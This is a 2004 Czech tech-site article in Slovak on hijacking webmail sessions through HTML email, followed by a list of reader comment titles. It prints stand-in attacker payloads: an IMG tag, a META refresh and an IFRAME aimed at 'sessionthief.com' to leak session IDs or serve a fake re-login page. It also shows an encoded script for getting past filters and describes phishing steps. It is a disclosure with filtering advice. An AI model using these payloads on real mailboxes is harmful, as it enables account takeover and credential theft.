Internet Info, s.r.o. Lupa Měšec Podnikatel Root Zdroják DigiZone Slunečnice Vitalia TopDrive KupDnes Navrcholu NovýTarif Dobrý web Weblogy Woko Jagg Computer.cz SK: MojeLinky

Je náročné se dostat do cizí webmailové schránky?

Všichni víme, že email není příliš bezpečný - přes Internet putuje nešifrovaně, v případě webmailu je navíc uložen nešifrovaně na webmailovém serveru. Přesto je podstatný rozdíl, má-li k němu přístup vlastník/správce webmailového serveru, kterého emaily konkrétní osoby nezajímají, nebo zda je to nějaká další osoba, která se zajímá právě o naši schránku.

Niekedy nepotrebujeme ani poznať heslo, aby sme sa k schránke dostali. Stačí poslať „správne upravený“ email, aby sme zistili údaje o session. Toto sa týka v podstate všetkých systémov, ktoré nejakým spôsobom session používajú a zároveň povoľujú užívateľský vstup (webmail je príkladom takej situácie). Testoval som štyri veľké české webmailové služby (nebudem konkrétne menovať) a Gmail. Týka sa to webového rozhrania webmailov, neplatí to pre ľudí, ktorí si sťahujú poštu cez POP3.

Hlavná bezpečnostná vada emailov je, že môžu byť v HTML formáte. HTML môže obsahovať ešte naviac javascript. Teoreticky na zaručenie úplnej funkčnosti HTML emailov by mal webmail zachovať jeho kód nezmenený, ale je to skutočne treba? Napr. javascript v emaile nejakú extra funkčnosť nezaručí, naopak – je to skôr bezpečnostné riziko, ako uvidíme ďalej. To platí aj pre niektoré HTML tagy.

Čo ma dosť zarazilo, jeden zo spomínaných veľkých českých webmailov preloží HTML tagy, ktoré sú v obyčajnom text/plain maile (tj. dostanú sa do zobrazenej stránky neescapované).

Získanie session

Najjednoduchší spôsob je poslanie emailu obsahujúceho obrázok s linkom mimo telo mailu:
<IMG src="http://sessionthief.com/logo.jpg">
Po otvorení mailu, v momente, keď prehliadač narazí na tento tag, pošle GET request serveru sessionthief.com a vypýta si obrázok. Naviac ale hlavička požiadavku obsahuje položku Referer, napr.:
Referer: http://nejakywebmail.cz/sprava/ukaz? session=aNkZoE6wAmOj&folder=inbox&index=6
Podobný efekt sa dá docieliť linkom (tag <a>), tag <img> má výhodu, že užívateľ naň nemusí kliknúť, aby sa vygeneroval request.

Pre útočníka je zaujímavý parameter session. Útočník nasledovaním tohoto linku sa dostane do schránky užívateľa bez znalosti hesla – v prípade, že webmail nekontroluje IP adresu a nepoužíva cookies na autorizáciu, resp. je tak pre danú session nastavený. Obídenie testu IP a cookies si ukážeme za chvíľu. Podstatné je, že užívateľ musí byť v danú chvíľu nalogovaný, aby údaje o session boli platné. To sa dá zariadiť automatickým skriptom, ktorý čaká požiadavok na logo.jpg – hneď po jeho prijatí sa prihlási a stiahne potrebné veci. Prípadne ešte pošle naspäť užívateľovi nejaký obrázok ako odpoveď na požiadavok, aby to nevyzeralo až tak podozrivo.

Jediný z testovaných Gmail má proti tomuto obranu. Pri otvorení mailu s obrázkom, ktorý ma URL mimo telo emailu, obrázok implicitne nezobrazí a dá možnosť „Show external images“. Pravdupovediac ma dosť prekvapilo, že na to vôbec niekto myslel (zrejme sa snažili po tom, čo u nich bol odhalený cross-site scripting).

Obídenie testu IP adresy/cookies

Test IP adresy je pomerne jednoduchým, ale zato celkom účinným spôsobom zabezpečenia v kombinácii s ostatnými prvkami. V testovaných webmailových aplikáciách sa dá typicky obísť niekoľkými spôsobmi:

  1. Niektoré webmaily si ukladajú do cookie, či majú testovať IP alebo nie. Pri zobrazení login stránky sa podľa cookie rozhodnú zaškrnúť/nezaš­krtnúť políčko „Testovať IP adresu“. Zmeniť cookie javascriptom nie je žiadny problém, pri ďalšom prihlásení bude políčko odškrtnuté. Ak si to užívateľ nevšimne, tak už ďalej IP adresa kontrolovaná nie je (špeciálne v prípade počítačovo menej zdatných to má dosť šancu na úspech). Stačí do mailu teda dať javascript, ktorý danú cookie zmení a počkať na ďalšie prihlásenie, alebo odhlásenie vynútiť – javascriptom zmeniť document.location na adresu, ktorá užívateľa odhlási.
  2. Sociálne inžinierstvo – varianta 1. Ak už užívateľ ide cez proxy, útočník môže skúsiť použiť rovnakú proxy. Inak napr. vytvorí a pošle užívateľovi mail propagujúci zrýchlený Internet (zdarma a bez reklám, čo za určitých okolností môže byť dokonca pravda ;-)), v emaile bude postup nastavenie nejakej proxy. Teoreticky to môže byť útočníkova proxy, tam stačí odpočúvať komunikáciu. Možno ešte lepšie je použiť nejakú verejnú proxy, kde má prístup útočník aj užívateľ (minimálne takto to vyzerá dôveryhodnejšie). Prístup bude potom z rovnakej adresy, na prístup k schránke stačia údaje o session.
  3. Sociálne inžinierstvo – varianta 2. Drzo sa pokúsiť vylákať heslo presmerovaním stránky na podvrhnutú stránku oznamujúcu „Vaše prihlásenie vypršalo. Prihláste sa prosím znova.“ Každý to už určite zažil, preto sa to možno nebude zdať až také podozrivé (hlavne ak stránka bude vzhľadom podobná originálu). Útočník to môže dosiahnuť rôzne:
  4. javascriptovým document.loca­tion=…, adresa sa viditeľne zmení,
  5. javascriptovým window.open s odstránenou lištou s adresou,
  6. pri odfiltrovanom javascripte HTML tagom <META HTTP-EQUIV=„Refresh“ content=„0; URL=http://ses­sionthief.com/?re­login“>, opäť je vidieť zmenenú adresu,
  7. ak je odfiltrovaný javascript aj META tagy, použiť <IFRAME src="http://sessionthief.com/?relogin">. Táto stránka už javascript odfiltrovaný mať nebude, možno použiť napr. parent.locati­on.href=… ak potrebujeme presmerovať, resp. parent.locati­on.cookie na ukradnutie cookies. Ak webmail zobrazuje správu v osobitnom okne a neorezáva všetko okrem vnútra &lt;BODY> z emailu, je možné použiť FRAMESET/FRAME, kde zobrazená stránka bude v skutočnosti iná ako napísaná adresa v lište.

Po získaní hesla pošle útočník naspať napr. HTTP 302 Found a vráti užívateľa na pôvodnú stránku, prípadne medzitým zmaže zo schránky vlastný mail (ktorý presmerovanie spôsobil), pošle „opticky podobný“ mail s iným obsahom na zakrytie stôp.

Cookies ako forma zabezpečenia nemajú význam ak v emaile nie je odfiltrovaný javascript, pretože môže cookies jednoducho zmeniť alebo poslať na ľubovolnú adresu na Internete.

Čo všetko treba odfiltrovať z HTML-formátovaného mailu?

V prvom rade všetok javascript zo <script> tagov, takisto z eventov typu onload, onmouseover, atď. Selektívne odfiltrovať len niektoré veci nestačí, pretože je možné robiť dvojité (trojité, atď.) kódovanie ako napr.:
document.write(unescape("%3c%73%63%72%69%70%74%3e %64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f %6e%3d%27%68%74%74%70%3a%2f%2f%67%6f%6f%67%6c %65%2e%63%6f%6d%27%3b%3c%2f%73%63%72%69 %70%74%3e"));
V skutočnosti do dokumentu vypíše:
  <script>document.location='http://google.com';</script>

UX konference
       
Jediná výhoda HTML-formátovaného mailu (ak nepočítame výhody pre útočníkov) je jeho krajší vzhľad napr. s obrázkami, tabuľkami atď. Načo by mal mail ale obsahovať napr. formulár? Všetko ostatné okrem formátovacích elementov treba odfiltrovať, dať pozor na externé obrázky a všeobecne elementy, ktoré spôsobia, že prehliadač vygeneruje request na ľubovolné miesto na Internete.

Záver

V podstate sa ukázalo, že najväčší problém je obísť kontrolu IP adresy.

Štatistika:

  • okrem Gmailu ostatné štyri testované spôsobili poslanie Referer s údajmi o session v hlavičke pri zobrazení obrázku,
  • webmail 1: zobrazí, že sa jedná o HTML email pred prezretím, ale nič nefiltruje (vyzerá to byť naschvál, myšlienka je zrejme, že sa snaží mail zobraziť ako plnohodnotnú stránku v celom okne, čo vnáša riziko),
  • webmail 2: okrem toho obrázku, zdá sa, filtruje všetko, čo by mohlo zavliecť cudzí kód alebo niečo niekam poslať, umožňuje v nastavení zobraziť, že sa HTML email nemá zobraziť priamo,
  • webmail 3: unikol IFRAME, v nastavení umožňuje nezobraziť HTML mail priamo,
  • webmail 4: unikli FORM/INPUT, inak, zdá sa, filtruje všetko podstatné, keď je typ mailu text/html, ale stačí text/plain mail a dá sa použiť javascript v trocha obmedzenej forme, napr. <a href=… onmouseover=…> alebo niečo podobné a tag sa nezmenený dostane do stránky.

Anketa

Jak využíváte služby free webmailů?

       

Workshop uživatelského testování použitelnosti

DW - Školení použitelnosti
  • Dokonalý web sám od sebe nikdo nevymyslí.
  • Otestujte své řešení se skutečnými uživateli.
  • Naučíme vás, jak testovat rychle, levně a efektivně.
  • Během testování může moderátor udělat desítky chyb - vyvarujte se jich

Detailní informace o workshopu uživatelského testování »

Přehled názorů

cestina vyhodou
Leni Reifestahl 30. 11. 2004 07:26
Nový
└ 
Re: cestina vyhodou
David Brhel 1. 12. 2004 08:28
Nový
Sociální inženýrství
xTom01 30. 11. 2004 09:09
Nový
├ 
Re: Sociální inženýrství
HuHulák 30. 11. 2004 11:07
Nový
├ 
Re: Sociální inženýrství
Ondrej Mikle 30. 11. 2004 13:06
Nový
└ 
Re: Sociální inženýrství
r00t 2. 12. 2004 15:45
Nový
nenačítání obrázků
Pepyk 30. 11. 2004 09:11
Nový
└ 
Re: nenačítání obrázků
Noname 30. 11. 2004 09:43
Nový
 
├ 
Re: nenačítání obrázků
Ondrej Mikle 30. 11. 2004 13:14
Nový
 
│
├ 
Re: nenačítání obrázků
LK 30. 11. 2004 14:43
Nový
 
│
└ 
Re: nenačítání obrázků
shrek 1. 12. 2004 00:31
Nový
 
└ 
Re: nenačítání obrázků
miroslav.kucera 30. 11. 2004 13:40
Nový
 
 
└ 
Re: nenačítání obrázků
PaJaSoft 30. 11. 2004 14:15
Nový
 
 
 
└ 
Re: nenačítání obrázků
Roman Pudil 30. 11. 2004 14:19
Nový
Možností je víc
llook 30. 11. 2004 09:33
Nový
└ 
Take filtrovanie obrazkov nemusi fungovat...
Ondrej Mikle 30. 11. 2004 16:38
Nový
 
└ 
Re: Take filtrovanie obrazkov nemusi fungovat...
llook 1. 12. 2004 02:33
Nový
Závěr měl být jiný
Brouzdej Blog 30. 11. 2004 10:14
Nový
├ 
Re: Závěr měl být jiný
llook 30. 11. 2004 10:20
Nový
└ 
Re: Závěr měl být jiný
neznamy uzivatel 30. 11. 2004 11:06
Nový
 
├ 
Re: Závěr měl být jiný
Ondrej Mikle 30. 11. 2004 13:09
Nový
 
│
└ 
Re: Závěr měl být jiný
Marabu 30. 11. 2004 16:18
Nový
 
└ 
Díra je v prohlížeči
n/a 30. 11. 2004 16:52
Nový
 
 
├ 
Re: Díra je v prohlížeči
Martin 'Bilbo' Petricek 30. 11. 2004 22:07
Nový
 
 
│
└ 
Re: Díra je v prohlížeči
Ondrej Mikle 30. 11. 2004 23:09
Nový
 
 
│
 
└ 
Re: Díra je v prohlížeči
Martin 'Bilbo' Petricek 1. 12. 2004 02:02
Nový
 
 
└ 
Re: Díra je v prohlížeči
Tom 30. 11. 2004 22:37
Nový
Gmail & cross-site scripting
Milan 30. 11. 2004 13:28
Nový
└ 
Re: Gmail & cross-site scripting
Ondrej Mikle 30. 11. 2004 16:31
Nový
quo vadis lupa
bln 30. 11. 2004 16:35
Nový
Jiné řešení
Worm 30. 11. 2004 18:07
Nový
├ 
Re: Jiné řešení
Ondrej Mikle 30. 11. 2004 22:58
Nový
│
├ 
Re: Jiné řešení
jezecek 30. 11. 2004 23:19
Nový
│
│
├ 
Re: Jiné řešení
Marabu 1. 12. 2004 02:35
Nový
│
│
└ 
Re: Jiné řešení
Ondrej Mikle 1. 12. 2004 18:31
Nový
│
└ 
Re: Jiné řešení
Petr Vorálek 1. 12. 2004 09:39
Nový
└ 
Re: Jiné řešení
Filiph 2. 12. 2004 15:53
Nový
Email JE ve vetsine pripadu text na pohlednici
Ondřej Čečák 30. 11. 2004 18:17
Nový
└ 
Re: Email JE ve vetsine pripadu text na pohlednici...jenom ve vetsine
Ondrej Mikle 30. 11. 2004 22:50
Nový
 
└ 
Re: Email JE ve vetsine pripadu text na pohlednici...jenom ve vetsine
aqua 1. 12. 2004 10:52
Nový
 
 
├ 
Re: Email JE ve vetsine pripadu text na pohlednici...jenom ve vetsine
Ondrej Mikle 1. 12. 2004 18:33
Nový
 
 
└ 
Re: Email JE ve vetsine pripadu text na pohlednici...jenom ve vetsine
petr andrs 1. 12. 2004 23:39
Nový
filter ???
ycuzo 2. 12. 2004 22:28
Nový
└ 
Re: filter ???
Normalni uzivalte 3. 12. 2004 10:39
Nový
České freemaily nejsou bezpečné
Marek Blahuš 3. 12. 2004 19:08
Nový
└ 
Re: České freemaily nejsou bezpečné
Ondrej Mikle 3. 12. 2004 20:29
Nový
Azet.sk - bezpečnosť na 1.mieste
Vladimír Seman 4. 12. 2004 17:50
Nový
všechno špatně
Petr Veřejný 4. 10. 2008 13:38
Nový
       

Tento text je již více než dva měsíce starý. Chcete-li na něj reagovat v diskusi, pravděpodobně vám již nikdo neodpoví. Pro řešení aktuálních problémů doporučujeme využít naše diskusní fórum.

Zasílat nově přidané příspěvky e-mailem